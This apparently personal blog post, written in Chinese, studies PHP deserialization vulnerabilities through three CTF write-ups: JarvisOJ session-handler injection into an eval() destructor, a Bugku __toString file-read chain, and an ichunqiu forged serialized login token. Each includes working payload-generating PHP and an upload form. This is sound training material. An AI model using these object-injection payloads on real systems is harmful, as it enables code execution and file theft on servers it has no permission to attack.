CTF中反序列化问题还是经常出现的,于是有了这篇博客,简单的学习一下反序列化的一些问题

基础知识

参考博客
https://comicalt.github.io/2018/08/21/serialize/#more
https://bbs.ichunqiu.com/thread-45290-1-1.html //这里面举了一题,充分讲解了各个魔术方法的调用时刻

PHP序列化漏洞常用的魔术方法:
__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

JarvisOJ

jarvisoj:http://web.jarvisoj.com:32784/
参考writeup
https://otakekumi.github.io/2017/03/05/jarvis-oj-phpinfo/
https://www.scanfsec.com/jarvisoj_web_writeup.html
https://cloud.tencent.com/developer/article/1038017
参考了三个题解才大概理解了这题,主要是大佬懂得太多,写题解的时候就比较洁简
总结一下唉

点开题目就可以得到源码

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }    

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看到第一行 session.serialize_handler 就知道这题是反序列化题目.
根据第二个参数会使用不同的序列化引擎,大致有这么几种:

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值    
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

题目上用的是php,默认的序列化引擎.
源码很清晰判断仅仅判断是否存在传入phpinfo这个参数,所以突破点应该不是在这.不过还是先构造phpinfo=1 使得调用phpinfo(),参看php各种参数信息
PS:由phpinfo获取有用信息的能力有待提高…
由于我们是要想办法给session写入构造好的恶意字符串在phpinfo里寻找到session配置一栏
session.upload_progress.enabled 发现开启了文件上传功能
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session
那么现在就有了往session写值的方法
打印出当前目录下的所有文件

‘print_r(scandir(dirname(__FILE__)));’

打印出指定文件的内容

‘print_r(file_get_contents(“/opt/lampp/htdocs/xxxxxxxx”));’

修改一下题目给的脚本生成对应的序列化后的字符串

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
    //$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    $this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
$obj=new OowoO();

echo serialize($obj);
?>

构造上传文件的表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改 PHP_SESSION_UPLOAD_PROGRESS 的值就好了

bugku上的一题

由源码可知,利用文件包含读取hint.php源码,

hint.php
<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

再读取index.php的源码

index.php
<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

分析可得只要把将flag.php作为字符串使用就会输出flag.php里的内容,有index.php里的源码可以注意到password进行反序列化,并且有echo,这时便调用了_tostring()这个魔术方法,所以只要将FLAG.class序列化后的值赋给password,便可以得到flag

ichunqiu 百度杯十月第一周 login

<!-- <?php
    include 'common.php';
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    class db
    {
        public $where;
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }

        function select($where)
            {
            $sql = mysql_query('select * from user where '.$where);
            return @mysql_fetch_array($sql);
        }
    }

    if(isset($requset['token']))
    {
        $login = unserialize(gzuncompress(base64_decode($requset['token'])));
        $db = new db();
        $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
        if($login['user'] === 'ichunqiu')
        {
            echo $flag;
        }else if($row['pass'] !== $login['pass']){
            echo 'unserialize injection!!';
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header('Location: index.php?error=1');
    }

?> -->(╯‵□′)╯︵┴─┴

前面省略一些骚操作后可以得到源码,这题是将发送到服务器的值反序列化后得到一个数组,当这个数组里user的值等于ichunqiu时输出flag

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

其实就是将这句逆向一下再赋值给cookie的token传入服务器就ok了
payload:

<?php  
$request = array_merge($_GET,$_POST,$_COOKIE);
$arr = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($arr)));
$login = unserialize(gzuncompress(base64_decode($a)));
echo $a;
echo '##'+$login;
?>